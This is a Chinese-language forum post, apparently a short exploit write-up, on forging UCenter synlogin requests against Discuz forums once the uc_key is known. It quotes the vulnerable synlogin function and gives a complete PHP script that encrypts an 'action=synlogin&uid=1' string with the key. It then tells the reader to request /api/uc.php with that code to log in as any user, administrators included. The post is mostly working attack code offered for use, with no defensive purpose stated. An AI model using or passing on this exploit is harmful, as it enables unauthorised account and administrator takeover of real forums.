<p>几乎所有版本都可以吧(在得到uc_key情况下)</p><p>/api/uc.php里面有个synlogin方法</p><ol><li>function synlogin($get, $post) {<br></li><li> global $_G;<br></li><li><br></li><li> if(!API_SYNLOGIN) {<br></li><li> return API_RETURN_FORBIDDEN;<br></li><li> }<br></li><li><br></li><li> header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');<br></li><li><br></li><li> $cookietime = 31536000;<br></li><li> $uid = intval($get['uid']);<br></li><li> if(($member = getuserbyuid($uid, 1))) {<br></li><li> dsetcookie('auth', authcode("$member[password]\t$member[uid]", 'ENCODE'), $cookietime);<br></li><li> }<br></li><li> }</li></ol><p>只要网上随便找个以前uc_key getshell的脚本加密一下这个'time='.time().'&action=synlogin&uid=你要登陆的用户的id';</p><ol><li><?php<br></li><li>$uc_key="xxxxxx";<br></li><li>$a = 'time='.time().'&action=synlogin&uid=1';<br></li><li>echo $code=urlencode(_authcode($a, 'ENCODE', $uc_key));<br></li><li>function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {<br></li><li> $ckey_length = 4;<br></li><li> <br></li><li> $key = md5($key ? $key : UC_KEY);<br></li><li> $keya = md5(substr($key, 0, 16));<br></li><li> $keyb = md5(substr($key, 16, 16));<br></li><li> $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';<br></li><li> <br></li><li> $cryptkey = $keya.md5($keya.$keyc);<br></li><li> $key_length = strlen($cryptkey);<br></li><li> <br></li><li> $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;<br></li><li> $string_length = strlen($string);<br></li><li> <br></li><li> $result = '';<br></li><li> $box = range(0, 255);<br></li><li> <br></li><li> $rndkey = array();<br></li><li> for($i = 0; $i <= 255; $i++) {<br></li><li> $rndkey[$i] = ord($cryptkey[$i % $key_length]);<br></li><li> }<br></li><li> <br></li><li> for($j = $i = 0; $i < 256; $i++) {<br></li><li> $j = ($j + $box[$i] + $rndkey[$i]) % 256;<br></li><li> $tmp = $box[$i];<br></li><li> $box[$i] = $box[$j];<br></li><li> $box[$j] = $tmp;<br></li><li> }<br></li><li> <br></li><li> for($a = $j = $i = 0; $i < $string_length; $i++) {<br></li><li> $a = ($a + 1) % 256;<br></li><li> $j = ($j + $box[$a]) % 256;<br></li><li> $tmp = $box[$a];<br></li><li> $box[$a] = $box[$j];<br></li><li> $box[$j] = $tmp;<br></li><li> $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));<br></li><li> }<br></li><li> <br></li><li> if($operation == 'DECODE') {<br></li><li> if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {<br></li><li> return substr($result, 26);<br></li><li> } else {<br></li><li> return '';<br></li><li> }<br></li><li> } else {<br></li><li> return $keyc.str_replace('=', '', base64_encode($result));<br></li><li> }<br></li><li> <br></li><li>}</li></ol><p>得到code后直接访问 论坛url/api/uc.php?code=你加密后的code,就能登陆了,admin管理员也是可以登陆的</p>
暂无评论